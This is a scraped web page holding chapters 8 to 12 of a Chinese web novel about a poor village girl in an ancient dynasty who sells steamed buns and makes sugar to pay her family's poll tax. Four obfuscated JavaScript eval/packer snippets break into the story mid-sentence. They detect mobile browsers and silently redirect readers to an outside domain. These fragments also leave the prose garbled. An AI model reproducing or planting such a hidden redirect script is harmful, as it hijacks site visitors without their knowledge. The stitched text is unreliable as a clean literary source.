RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15300268|167151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都是好蒜。 时下蒜罕见，也就长安城内的盐肆会卖，且都打着自家的蒜是博望侯从西域带回来的名头，要价贵，大多数人也还不知蒜要如何做调料。 季胥没想这能有卖，很是惊喜。 老媪才知这叫蒜，还是她年前在山里挖到三五株，带回家试着插在土里种出来的，只知里头白肉有些呛辣，偶尔做羹会放点进去。 她比了个一。 季胥以为是一个钱一颗，没承想老媪把整个布袋提起来，示意一个钱可以把袋里这些尽数拿去。 季胥想了想，还是数了五个钱。 老媪未料想这无人问津的“蒜”，卖出五钱，也是开心，送她一块姜。 这姜块茎饱满，芽眼多，季胥道谢接过，想着回去这姜也能种。 她从卖菜媪这处离开，牵着季珠去肉摊。 这次还未近前，李屠夫就招手道：“女娘，是要买肉？” 季胥还想买斤脂来炼油，昨天炼的那些用不了多久，想着有钱就买些来炼好存着， “是，来一斤脂。” 腰粗膀圆的李屠夫一边切脂、称脂，同她说着话，“我见人家手里拿的白玉蒸饼，就是女娘家卖的罢？” 李屠夫将串好禾草的脂递给她，问道：“女娘若是明日还来卖蒸饼，可否给我预留些？我要二十个！” 他才刚就想去买，奈何要排队，去久了摊子无人照应。 “我家那老阿翁，什么都要吃软烂的，我想买点软和的蒸饼与他，浸着羊奶吃。” 这有何难，她正准备明日多做些来卖，季胥应下， “行，您这是照顾我生意。” 李屠夫爽快一笑，见她在看一扇肋骨，介绍道， “这肋条肉不多，价也实惠，五钱就能砍上一根。” 这可是精排，放在后世比肉和脂卖的都贵，季胥脑中有了菜谱，“与我来两根。” 一斤脂，两根肋，共花去二十五钱。 李屠夫手起刀落，想着她应自己的事，切了小块瘦肉赠与她。 为做这肋条，季胥顺道去盐肆花上五钱，称了些许花椒怀香、胡麻，准备拿这些来做椒盐粉。这年头香料贵，五钱就买来一小撮，估摸拿家里的石舂碓研磨出来，能做个三餐的样子。 最后不忘在粮肆添了半斛面粉，三十钱，做蒸饼少不了的。 买完东西回家，就剩下七个子了。 9. 第 9 章 日阳儿还浅着，季胥携了菜籽，并蒜头姜块，扛了门角旁的铁锄，去至屋后。 只见菜地一隅，昨日种的葱和野椒，一夜下来都扎了根，蓬勃/起来。 “阿姊，那些菜籽这会子要种下去吗？”季珠仰着脸蛋，喜盈盈问道。 她方才在乡市，见阿姊买菜籽时便满心期盼，家里的两畦菜地荒了半年，如今可算有银钱买籽来种，只要勤服侍，意味日后自家能有菜蔬摘来吃了，不用饿肚子。 只见面前的菜地，虽说荒废着，却只有些细小绒毛的野草，这多亏两个妹妹拔草勤快，否则荒半年，这两畦地的野草早比人还高了。 季胥道：“要的，整了地，架好土，便能种下去了。” “小珠也帮忙！”季珠欢喜道。 只见季胥挥动锄头松土，这菜地虽说没被野草霸占，但土被踩的瓷实，得松整一番，方能种菜。 上辈子她奶奶常刷着那蔬菜农药残留的推送，心惊肉跳的，便干脆在院里种上各类蔬菜，自给自足，她跟着忙前忙后，祖孙俩常商量着，这块地该间苗了，那块地该搭架子了。 如今于她，倒成了一项技能，只见季胥一锄下去，挖松一块土，她或是将锄反过来，敲碎那大块的，或是弯腰捡一捡野草，丢向一旁。 季珠则蹲在旁边，帮着揪那野草，芦菔似的小小一只，却也不喊累，十足的耐性。 渴了也不闹，便自己去灶屋，向着釜里舀水喝，还拿碗盛了，给季胥捧来一碗， “阿姊，要不要喝水？” “这会子正渴的慌，谢谢小珠。” 扶着锄把，一碗水清甜下肚，季胥擦了擦嘴角，只见面前整了有半畦菜地，抬头一看天色，日头居中了，便道： “阿姊先做中食去，小珠也休息休息，吃完中食再来忙。” 只要将地整好，架成一条一条的，下半晌种起来倒快了，按间隔打好穴，浇透了水，穴内放三四粒种子，薄土一掩，便静待其发芽蹿苗了。 过后再察看，哪穴的苗没发出来，或是哪穴的苗茂盛，适当进行间苗移栽，长势便会更好。 至于那蒜头，便得掰成一粒粒的，带皮儿插进土里去。 姜则是按着芽眼位置，分成小块，插在土里。 她心里已经分好每样菜的位置，姜蒜便和葱、野椒一处，占上半畦地；其余按序，从东至西，依次拿来种菘菜、芹菜、芦菔、芸苔。 自家种上菜，日子也会慢慢好过起来。 季珠乖乖点头，跟着季胥离了菜地，来至灶屋，先净了手。 只见季胥从柳条篮里拿出在李屠夫处买的新鲜肋条，季珠眼睛不禁一亮，问道： “阿姊，肋是不是要做羹？” 肋比正经肉要便宜，从前阿母便会在过节时，捡着买一根，搭些藕，熬出一釜满是肉骨香的羹。 “拿来做椒盐肋条，保管让小珠吃了耳朵都动弹。” 季胥这就在砍肋段，柴刀锋利，一刀一段，掺些面粉、食盐去抓拌，拿清水清洗数遍，直至没有血沫时，再切些姜丝，加些酱进去抓匀。 釜里热油次次啦啦作响，排骨被小火炸至金黄熟透时，捞出来控了油，再复炸一遍，这次则是大火，能让排骨外头酥脆。 炸好后就已经有股子勾人的酥香了，那炸过排骨的油，季胥暂时拿两只碗盛了，过后还能接着炒菜用。 釜里另留了些底油，用来炒香蒜、椒末。 排骨一倒，加些她自己研磨出来的椒盐粉，几番翻炒后，盛在半爿竹节里。 金黄酥脆的椒盐肋骨，点缀些青红椒末，透着股鲜香，别提多诱人。 季珠在旁边瞧着，不知咽掉多少车口水，季胥夹了块先给她尝鲜时，入口果真耳尖一动，连骨头都抿在嘴里，溜了好几遭。 中食除这道肉菜，季胥还另蒸了些蒸饼做主食。 装季凤那份时，想到昨儿个，兴许冯家孩子还会馋她的，恐季凤不够吃，特地多装了些，还由季珠送去。 季珠依旧跑的飞快，不同于昨日叽叽喳喳和季凤说了半车话，阿姊买了好多东西之类的，有这个那个。 她这次被嘴里刚尝过的滋味勾着，送完便家去。 季凤在山头捧着竹筒不禁发笑，对那背影大喊道： “你这馋鬼，慢些！仔细摔跟斗！” 季珠一叠连声应着，小小一只跑远了。 “凤姊，你快把竹筒打开，让我瞧瞧里头的白玉蒸饼和椒盐肋条。” 说话的是一早就在这蹲着的冯兴霸。 原来是他大母没能做出来红煨肉，他馋那滋味一夜，连朝食的水引饼用得都不香。 想着今日中食，季胥可能还会做了红煨肉送与季凤，就事先抱着一只大薯来蹲点了。 季凤那时正割猪草呢，看了也好笑，就赶他， “你快家去，我阿姊不一定会做红煨肉，哪能天天吃得起带脂肉。” 冯兴霸也不走，只道：“你阿姊做的饭食好吃，送来别的我也拿大薯与你换。” 于是季凤把猪牧到哪，他便抱着大薯跟在哪，比季凤还期盼着季珠送饭的身影。 好容易叫他等到，听说里头是白玉蒸饼和椒盐肋条，这会儿就等不及想看。 只见半爿竹壳一揭，一头排列着四只雪白光滑的……白玉蒸饼？ 余的位置铺满些肋条段，金黄油亮，四溢着酥香。 冯兴霸用他这只新鲜大薯换来一个白玉蒸饼，两块肉。 季凤说：“这白玉蒸饼十里八乡只我阿姊能做得出来，用的可是面粉，精粮呢， 到乡市上可得卖一钱一个，我可没占你便宜。” 冯兴霸哪会不依的，他连连点头，捧着那热腾腾的蒸饼咬上一口，再啃上一口肉，手和嘴吃得油滋滋的。 可就没停下来过呐，最后连骨头都舍不得吐，溜在嘴里，翻来覆去，也香呢。 “冯兴霸！还在这野，快与我回家吃中食去！” 冯富贞寻来山脚下。 远远的将腰一叉，便喊道。 只见她用红头绳绑着对丫髻，细布的银红襦衣，搭着裙儿，连鞋都是软底细布织的。 乡野人多穿未经染色的麻布料子，糙白色为主，这样鲜亮的色，本固里也就冯家女娘独一份了。 “我不饿。” 冯兴霸才不回去，大母做的饭食没甚滋味，他正绞尽脑汁，想着如何再讨块肉来吃。 冯富贞近前来揪他耳朵， “野了一上午，饭食也不要吃了？” 她是冯兴霸阿姊，两人没了娘，冯富贞平时少不得管教他。 “嗳哟……” 冯兴霸六岁，才到冯富贞腰那，一下就被揪着走。 他哪里肯从就，忙的说： “我吃过了，凤姊给我的白玉蒸饼和椒盐肋条！我不饿。” 冯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15300269|167151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 富贞才注意到他嘴里还含着块骨头，对他这副穷酸相没好气， “那肋价卖得比肉价贱的多，有何好吃？大母做了鲜肉大薯羹，等你回去吃呢。” 她家山头养着豕，那乡市的李屠夫卖的肉，有时就是来她家宰杀运过去的呢，隔三岔五的，想吃什么新鲜肉吃不着。 冯富贞不禁拧他一把，拧的他叫唤， “唉哟……大母做的肉羹不好吃，季家大阿姊做的肋才香呢。” 冯兴霸紧抱着树，再不肯走。 冯富贞也不会真的揪坏他，只好先松开手，正僵持着，她不防闻到一股霸道的肉香。 倒很确定不是家里飘出来的，还能是哪来的？她狐疑扭回头。 季凤正享受的嗦骨头，听说冯兴霸对阿姊的夸赞连连点头时，一抬头，发现冯富贞回过头来，打量她碗里的肉。 她捎带嘴客气一句，“富贞阿姊要不要尝尝？” “嘁，肋有何吃头？ 罢了，你拿来我尝尝。” 季凤夹一块与她，忽略冯兴霸那直勾勾炯亮的眼神。 冯富贞吃了口，外酥里嫩，这肉还有着说道不上来的香味，紧接是第二口…… 不禁就只剩骨头了，还想嘬了骨头回味那滋味，不禁觉得没脸，立时从嘴里吐在地下。 “好吃吧？”冯兴霸这会子还含着那骨头。 “还行。” 冯富贞扫了眼那只竹碗，还剩好些呢。 这季凤也不再送上来一块，真没眼色。 正想着，只见季凤笑眯眯问： “富贞阿姊可要尝尝这白玉蒸饼？” 她想着，冯富贞若是觉着好吃，还能买些去。 “也罢，我尝尝。”冯富贞悄悄的咽下口水。 换作平时她哪能去吃别人碗里的东西，许是中食还没吃，饿的。 季凤从边上拿一只自己没碰过的与她。 冯富贞摊在手掌心，看了看，捏了捏，试探着送进嘴里，咬了一口，紧接是第二口，不知不觉整个吃完了，还意犹未尽。 一旁冯兴霸见她吃得快，就学舌说： “这白玉蒸饼十里八乡只有季家阿姊能做得出来，用的可是面粉，精粮呢， 到乡市上可得卖一钱一个。” 冯富贞心想，精粮有什么？家里日日都吃/精粮。 不过，就是做不出这滋味。 她斜着身子咳了声，“我也不白吃你东西，正好家里砍了甘柘，我去拿两根与你。” 又回头命道：“冯兴霸，你同我一道去。” 冯兴霸本不愿，转念一想，若送来甘柘，季凤再饶他些肉吃？ 如此便快步追上冯富贞。 片时，冯富贞抱了三根长长的青皮甘柘来，冯兴霸则抱着一根。 这汁水甜滋滋的甘柘，没有孩童不爱的，寻常人家都紧着种粮食，没有多余的田地去种，也就冯家这样的富户才年年种来给孩子们甜个嘴。 季凤想着甘柘带回去，也给阿姊她们做甜嘴儿，便收下了那四根，还分与他们俩各自两块肉。 冯兴霸倒是很快把两块啃完了，还把手指嘬一遍。 冯富贞这次只吃了一块，想把另一块带回去给大母吃，不忘说： “明早你再带四个白玉蒸饼来，我买。” 还成一笔生意，季凤更开心了，夸了夸自家蒸饼，不过关于做法当然一丁点没吐露。 10. 第 10 章 黄昏时候，季凤背着捆柴禾，抱着一只大薯、四根甘柘，眉开眼笑向家去。 路上顶头撞见浇菜回家的金氏，金氏见了，笑道： “摘些山里的果儿也罢了，冯家地里的甘柘你也敢偷，当心被打断腿！” 季凤哼的一声，“我可不是那手脚不干净的，这是冯家大女和小儿吃了我阿姊做的吃食，送与我的。” 金氏暗暗呸的一声，正想说吃的你家糠咽菜？ 马上又想起中午二房飘出股极其霸道的肉香，若非她锁着门，季虎孩就要往二房去讨吃。 想到这，她只得紧了紧后槽牙。 心道，竹子被砍完了，二房的门关了一上午，又卖了什么换钱？ 嘀咕着回到家，蹲在院里拿竹箕收豆子的季元正怨声载道： “止妹去卖扫帚怎的还不回来？晒的豆子还要我来收……” 金氏去矮草棚放下尿桶，也嘀咕，“这都要做晡食了，还等她买肉回来。” 她交待过，让季止卖了扫帚，买一斤带脂肉回来，好解解馋。 “莫不是拿钱自己去买吃食了。”季元温温吞吞将箕里的豆子倒进麻袋里，不掩的怨气。 可巧院门一响，季止总算回来了，不过怀里竟还抱着一二三四，四把扫帚？ 不等盘问，季止已是满腹牢骚， “这扫帚一点也不好卖，都说扎得不结实，只卖出去一把。” “你吆喝了吗？” 季元见没有肉，这两天尽在闻二房的肉香，心下烦躁，把箕一丢，这剩下的豆子等季止去收。 季止向灶屋舀了瓢凉水来灌，“我怎么没吆喝，东西不好我喊破天也没人买，就这一把，还是一个不识货的小郎买去的。” 金氏数了数，“怎的只有四个钱……” 出来的季止捡起箕，用手往里面耙豆子，扯了个谎， “那穷酸小儿死缠着与我讲价，饶了他一个钱。” “怕不是你自己藏私了。”季元歪她一眼。 “既觉得我藏私，那明儿你受累去叫卖，我在家歇着。”季止回嘴。 金氏出来打圆场，“好了好了，都少说两句，一家子的姊妹，和和气气的才是。” 不过她偏心大女，自己又开始数落起季止， “你说说你，要不是当初牧猪将猪弄丢，这活儿也轮不着季二凤来做。 冯大家山头多少果树，每天偷偷摘些回来卖钱也是个顶好的进项。” 季止才不想去牧猪，每日得来的钱都得交给金氏。 隔三岔五还偷偷摸摸藏果子回来，做贼心虚，生怕被逮住，可不藏果子回家又得挨数落，那猪就是她故意弄丢在山头的。 金氏可不知次女的心思，她还在眼热季凤抱着的甘柘， “你若是还在那牧猪，咱们也能拿点那酸菹菜去与冯家吃，换些他们的甘柘来甜甜嘴儿。” 想到这份活没了，金氏就咬牙，指头戳了两下季止的脑门。 季元也帮腔，“就是，秋天正是吃枣儿栗儿的好时候。” 季止撇了嘴，“想吃自己去牧猪，看看人家要不要你这好吃懒做的。” 季元呛道：“二房不也是次女在牧猪，我做阿姊的，都满十五了，眼看要相看人家了，怎好去给人做牧猪的活儿？” “那胥女还能做白玉蒸饼在乡市卖钱，人都排着队买，你也是做阿姊的，怎么不学学人家挣钱？” “不就是蒸饼，有何难？做就做。”季元赌气道。 季止险些秃噜出来，人家的蒸饼吃起来软和香甜，忙将话咽回肚里，要让金氏知晓她向二房的胥女买蒸饼，早晚将她骂的一佛出世二佛升天了。 正好金氏出声来打岔：“家里要收稻子了，卖蒸饼的事先放一放，地里的稻子要紧，都得帮忙收稻，连你们的阿翁明天都回来了。” 季富平时在县城替富户将车，农忙时节回家来。 秋收一过，各家各户得缴田税、口算钱，这可是一大笔支出。 若有那缴不足的人家，户主可得下狱，充苦力去。 就连她大房，家里的稻子除了要存做过冬口粮，还得匀一部分去卖了银钱，方凑出这笔开销。 往年，田氏是勒紧裤腰带，佃上几亩田来种，一年到头卖瓜菜，累成老黄牛，才将将凑足这笔钱； 今年，二房就三个小女娘，凑这笔钱？短短几日，就凭卖蒸饼？怕是难咯，更别提后头还要过冬。 金氏这心，不由的畅快起来。 另一边， 季胥已将菜籽种妥，面前的菜地，架了沟，一条一条的井然有序，浇过水而透着深色湿痕。 听季珠喜兴说着日后自己也要帮着浇水的话儿，一面笑应着，一面理了锄和桶，向屋前去。 可巧季凤回来了，见着她带回来的甘柘，季胥不禁心喜，留出一根来做甜嘴儿，余的三根她便去皮砍成段，用舂碓捣出汁水。 洗好一块麻布，准备过滤后拿来熬红糖。这麻布，家里原也缺，还是拆的粮食袋子才有的，家里拢共有三只粮食袋子，如今一只拿来装面粉，一只拿来装稻谷，余的一只被老鼠咬坏了一角，被她拆了线，分作两块布，沸水煮过，卖蒸饼时覆在柳篮上，能遮灰挡尘。 这会儿还能拿来过滤柘汁，只见她拧出些泛青的汁水，底下有陶盆接着。 正忙着，忽闻外头有道陌生的声音在问： “胥女在家否？” 她撂下活，拭拭手出去。 来人是乡啬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15300270|167151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夫梁兆，原身记忆里有这号人，当初刚归家，落户便是由乡啬夫办理的。 按本朝户律，女子符合条件也能做户主，一是寡妇，二是赘婚家庭，三是成年孤女。 季胥年满十五，已是成年大女，显然满足第三种条件。 朝廷每年八月会算民编户，原身半个多月前回来，正值八月底。 于是故去的田氏被乡吏销去户籍，原身被重新编户在二房，做了户主。 如今乡啬夫正是来送她们二房的“尺籍”，也就是这时候的户籍，是一爿薄薄的木牍，因有一尺长，便叫尺籍。 季胥接过，只见上头书着户籍信息： 户主大女胥年十五，无残疾。 妹小女凤年八，无残疾。 妹小女珠年五，略有口吃。 往下是她们的家赀信息： 奴婢无。 车辆无。 牲畜无。 房屋一间。 田地无。 …… 乡啬夫梁兆对季家二房有些印象，家里也没个长辈了，大女被贼人略卖为奴，才回来不久。 瞧瞧，住的这间瓮窗草舍，在旁边季家大房铺着瓦，围着小院的衬托下，寒酸到像是谁家茅厕，属实是乡里垫底的穷苦。 但他给过尺籍，也只能例行通知： “九月二十，也就是五日后，牛脾乡的编户，统一在盛昌里的谷场缴纳田税和口算钱。 你家无田，无需交田税；口算钱的话，一大口，两小口，其中一个小口未满七岁，共是一百四十三钱。” 季胥听了，记下这串关于钱的数字。 如今的田税收亩产量的三十分之一，她们二房如今连田也未佃，自然是不用交的。 所谓口算钱，就是人口税，每年按人头收取，不论男女，满七岁起缴，七至十四岁缴纳口钱，每人二十三钱；十五至六十岁缴纳算钱，每人一百二十钱。 她们家，季胥和季凤需要缴，加起来正是乡啬夫所说的数目。 一百四十三钱。 八、九月份是乡吏为户、收赋税日子，每年最忙的时日。 如今乡啬夫和其随行的佐吏通知完就紧往别家去了，手里还有一堆尺籍。 季凤听完愁得不行，连能吃甘柘的喜悦也被冲散。 她去到屋子，溜进床底，把西墙根一小块土砖拿开来，伸手进去掏了掏。 再退出来时，手里多出个碎布头缝的钱袋子。 将铜子倒在床上，并自己今日挣的那枚钱，数了两遍，十二个。 不禁敲了敲自己的脑门头，她怎的把秋天要纳口算钱这一大笔支出给忘了。 应该提醒阿姊的，这两天挣的钱得留着，先别置办东西。 11. 第 11 章 她垂愁着眉头去灶屋，季胥已经在熬柘汁了，只见滤过后的柘汁冲入陶釜内，灶膛子里刚架起火。 见她这模样，便知是被乡啬夫说的给难住了，季凤年纪虽只有八岁，可穷人孩子早当家，她却是带着小妹独自过活过半年的，一时都愁成什么样了，便劝慰她， “没事，凤妹不是说明日冯家女儿要买四个蒸饼吗？这里就是四钱。 乡市的李屠夫也预定了二十个，这就是二十钱，这五日卖了东西再攒攒，定能凑足一百四十三钱。” “今日蒸饼卖的紧俏，待这红糖熬好了，我准备再做些红糖蒸饼，明日生意肯定差不了。” 红糖蒸饼？ 季凤看向釜里那逐渐浓稠，现着一股赭红的柘汁， “这是柘汁做出来的？” 季胥点头，她把熬好的柘汁倒在陶盆里，倒了有一节指头高，因陶盆只有一个，倒厚了不好，余的便倒在了陶釜的大圆盖子里，这内壁也平整，又有些沿。 如此由其凝固了，才用刀尖横竖各划上一道道的印子，沿着这痕迹，方便掰成方块小状。 后又拿来竹筒，将小块红糖拣进去，足足拣有两竹筒，上头还扣上刚好大点的竹盖，也能起到些密封的效果，不过她这红糖用的快，倒不用担心放坏了。 这竹筒，还是前些日子砍回来的竹子，编完竹甑留下的二十来节竹篼节，梆硬，在墙根下晒黄了，用处极大，像家里的盘子，便是那竹篼节竖着从中一破，得来的，就是底部是弧状，容易晃荡，得左右垫两粒石子，以防翻倒了菜。 还有，家里头有一只碗拿来盛猪油了，就剩了两只碗，她吃饭便使的竹碗，是拿柴刀当中横着削了半截竹，细细的削平整圈沿，便成两只圆口竖壁的竹碗，别说，因这竹碗底部是平的，倒还挺趁手。 还有她卖蒸饼拴在腰间的钱筒子、装饼酵的、现下装红糖的，俱是那竹筒做的，比量好削出竹盖，便能存物了。虽是简陋些，但一个钱也不费，幸而家里有这些竹篼节，不然没个器皿，做什么都别手别脚的。 釜底残留的糖液，半点不浪费，添了碗水进去，烧开后给两个妹妹各倒出一碗做甜嘴。 “阿姊也喝。” 季珠听说有甜水儿，开心极了，才喝一口，捧碗踮脚，舔着嘴唇，便让季胥喝。 季胥因着不馋甜水才没给自己倒，上辈子她连三分糖的奶茶都觉得齁甜，况且，实在不习惯跟人对嘴喝东西。 可季珠扑扇扑扇眼，满眼的亮，极其期待要把这甜滋滋的好东西分享给她。 她迟疑一瞬，便弯腰啜了小口，“谢谢小珠。” “她惯会卖乖。”季凤扑哧有了笑意。 季珠喝一小口，亲香黏糊的，又捧了要分与她喝。 季胥揉揉她脑袋，让她自己喝，她才捧碗出去，向着外面，在屋檐下蹲了，咂着嘴儿，小口小口啜饮，珍惜的模样就如这是琼浆玉液。 “凤妹也把这甜水喝了，空了碗，过会子好吃晡食了。” 季胥道，只见她正在切瘦肉，是李屠夫给她做搭头的那小块，被切成细小的碎丝，那釜里头，舂好的米添足了水，渐渐沸了，翻腾着米花儿。 这时，瘦肉丝加进沸腾的白粥里，撒些盐调好味，便能吃上简单的瘦肉粥了。 季凤这舌头都多久没尝过甜了，哪能不馋甜水儿，被阿姊劝慰一番，暂抛了那口算钱的愁，也捧了碗，同季珠一道，在檐下咂着喝。 时而还学那吃席的大人，碰个碗，一仰脖子，做干杯状，一时总算有些孩子的活泼，季胥见了也宽心。 最后那碗甜水见了底，各自又添了小半碗水涮涮，喝进肚里才算完。 等她们珍馐般喝完，季胥这里的瘦肉粥也好了，三人围坐着，就着陶灶吃起来。 咸淡适中，清淡兼宜，吃的舒服，又填饱了肚。 趁着天色未暗，季胥想去摘些柳条来编篮子，她盘算了，明日多做些蒸饼去卖，眼下这两个柳篮并不够，得再编出两个来备着。 要说远的，五里外的灵水河畔有一溜的柳树，并许多芦苇；要近处，就说她们吃水的井边，便有一棵丝绦垂垂的老柳树，不知哪一辈子种下的，只知是公家的，孩子们喜欢摘了编项圈戴着顽，就一里远，凤、珠二个也说要去，便一道来相帮了。 只见这会子，还有向井打水去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15300271|167151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浇菜的妇人，问她们三姊妹饭否，又问： “摘些破柳条子做什么？胥女这么大了也像他们孩子似的编些顽物？” 季胥笑道：“编篮子使的，家里连装东西的家伙什儿都没有，只好打这柳条的主意了。” “你手艺倒巧，也教教婶儿，婶儿家也缺篮子使。”那妇人笑道。 季胥笑道：“婶儿来，我这会子摘了回家，正要编呢。” 妇人道挑了水，笑说这就来。 过了会子，三人各捧着一束柳条回到家，借着未暗的天色，季胥伶俐的都将两个篮子编完了，妇人也没来，可见是玩笑话，到底不是缺东少西的人家。 翌日鸡鸣时分，季胥亮着火把起来做蒸饼。 昨儿个她买的面粉多，有半斛，这面粉按后世的度量衡，她掂了掂重，能有十斤出头，粗算能做一百个蒸饼，白玉蒸饼五十个，红糖蒸饼五十个。 她想好了，红糖的贵上一个钱，卖两钱。 季凤也起来了，能干极了，帮她烧火、向井边打水，不知替了季胥多少工夫，季胥心眼里暖慰不已，直夸她好，倒把她夸的不好意思，捅了灶火，映的两腮微红道： “家里的活计哪能都指望阿姊，倒教累坏了，我自是要帮着的，只恨我身板还小，不然一气能提回满当当一桶水来，一刀能劈开那粗柴，那才好呢。” 说的季胥笑了，道：“哪有这样的蛮力，凤妹现在就好的不得了了，替了我多少。” 两人忙得热火朝天，却也说说笑笑着，把柳篮渐渐装的满满当当。 大房的金氏起夜，望着二房灶屋亮着昏暗火光的窗子。 心道，又在做蒸饼？这什么蒸饼竟有这么好卖，用得着起这一大早来做？ 她悄摸摸的，趴上自家院墙，隔着些距离，朝那圈坛口圆窗子望去。 只见季胥撸着袖子，在陶盆里揉面。 胳膊柴杆子似的，看着细瘦，力道却足，那面团在她手里似乎十分听话，被揉得雪白光滑。 季凤提着半桶水回来，借着月光就见那院墙模模糊糊挂着半个人影，她当即竖起眉，一声尖喝： “谁在那！” 12. 第 12 章 金氏忙的矮下身子，佝着腰回东屋。 心道，自家可是有二十亩地，稻谷长势好极，这眼看就收割上来了，那蒸饼值个什么，还能日日好卖？她就等着瞧，二房缴不上口算钱，那户主最后下大狱去！ 季凤提着水进灶屋，同季胥告说： “定是伯母在偷看。” 她把门掩上，“阿姊，我看，咱们离家时，还是把屋子的锁拿来锁灶屋吧。” 她们的灶屋平日没有锁，睡觉的屋子是有一把铁锁的，钥匙由季胥随身携带。 季胥想了想，“突然锁着反而惹眼，还是把余的饼酵和红糖拿去睡觉的屋子放着，就照常锁着那间屋子。” 季凤这就照做，把两节竹筒用禾草拴了，打个结，在灶下柴草堆里拣了根枝条，折成三寸长。 屋里泥墙老旧，磕磕巴巴的，到处都是细小的缝洞，她踮了脚，将这枝条在东墙一插，露出半截，竹筒一挂，保管老鼠咬不着。 灶屋里，季胥望了望没糊的窗，心道，纳完口算钱，这屋子过冬前一定得修葺。 天方亮时，季胥挎着篮子欲出发，正逢季珠醒了，睡眼矇眬，至灶屋来，嫩生生说： “小珠也去帮忙。” 见她困的紧，季胥掖了掖她那头有些细软的毛发，软了心肠道： “都困成这样了，在家多睡会儿，这一去要走不少路呢，阿姊前两日有小珠帮着带路，已是熟悉了，今日便自己去。” 季凤笑道：“瞌睡的虫儿，先用口水把那粘住的眼皮子化开罢！” 季珠见季凤取笑她，立时将眼睁大一圈，抱着季胥的腿，仰着脸蛋，软了声道： “小珠不是瞌睡的虫，小珠也要帮阿姊卖蒸饼。” 撑不住她这般软磨硬泡，何况季胥哪能不懂小妹这份体贴，最终还是帮她梳了头，带她去了。 拢共三个篮，其中两个覆着麻布，余的一只没有布了，昨日她便给柳篮编了个盖，虽有些缝隙，到底能挡挡尘土，她一手挎两只，一手提一只，好在这东西也不重。 季珠伸出手，要帮着拿一只篮子，到底才五岁，自己走这磕碜的土路，不跌跤就是顶好了，便让她踏实吃蒸饼，这是朝食，她与季凤早些是吃过的。 篮子周围塞了些干净的禾草，至李屠夫摊前时，蒸饼还有余温。 “女娘来得早。”李屠夫同她招呼，递前竹箪去装自己那二十个蒸饼。 季胥揭开一角，“还有红糖蒸饼，更甜些，两钱一个，阿伯要不要买些尝尝？” 只见那红如翡玉的蒸饼冒着热气，李屠夫当即点头， “那再与我拿五个红糖蒸饼。” 他夜里去牲户家里宰豕，豕肉拉来乡市卖，朝食没来得及吃，就等着这口。 接过来，先拿红糖的尝了口，忙唤住季胥， “再拿五个！” 他家人口多，半大小子就有三个，都是食量如牛的。 做完李屠夫的生意，季胥接着在乡市沿街叫卖，然而今日的乡市分外冷清。 季珠不由的纳闷，“阿姊，是不是我们来的太早？都没什么人。” 先时季胥也这么以为，直至天光大亮，正该是物穰人稠的时候，可乡市依旧冷清，连卖粔籹的妇人也不见踪影。 别说附近各里来就市买物的乡民，连那挑担推车来卖货的农户小贩都稀稀拉拉，街道两旁显得空荡，那可以坐贾的铺子都有些是大门紧闭的。 季胥叫卖一圈，也没生意，好容易碰着个妇人说买两个，趁着妇人拣蒸饼时，闲聊三两句。 才知近日农忙，各家各户都忙着下地收稻谷，哪有闲暇来赶集。 偶尔能见着的赶市的妇人，大都直奔李屠夫的肉摊。 “给我来两斤脂肉！” “家里农忙累人，给多割些脂，有油水，吃了才能下力气。” 季胥干脆在李屠夫摊子附近卖蒸饼，人反而多些。 李屠夫想起自家那和她一般大的女儿，家里肉食不断，养得能有对方两个身量的结实。 季胥瘦的连衣裳都宽大，还带着个妹妹，一看就是那穷苦人家懂事的，不禁心生怜悯，顺口帮季胥吆喝， “那女娘的蒸饼滋味好，我刚买了尝过，还能说假话不成？” 如此，季胥卖出去三五个的，但这样显然不够。 眼看近午，人越发零星，李屠夫的肉都所剩无几，快要收摊了，她柳篮里的蒸饼还有大半多没卖完。 季胥谢别李屠夫，带着季珠，从乡市离开。 “阿姊，不卖蒸饼了吗？”季珠问，好奇她没卖完蒸饼怎就回去。 “卖，但乡市已经没什么人，我们去田里叫卖。” 出了乡市，举目望去，土路两旁便是金灿灿的稻田，直延伸到遥远处山脚下，点点人影忙碌着，俱是一家大小口齐上阵，譬如刈稻、挑筐、绞稻粒……大太阳底下，忙的豆大的汗哗哗流。 季胥沿着田埂，嗓清音溜，一家家的叫卖。 “蒸饼咧，饱腹香甜的白玉蒸饼……” “是昨儿个在乡市的女娘！” 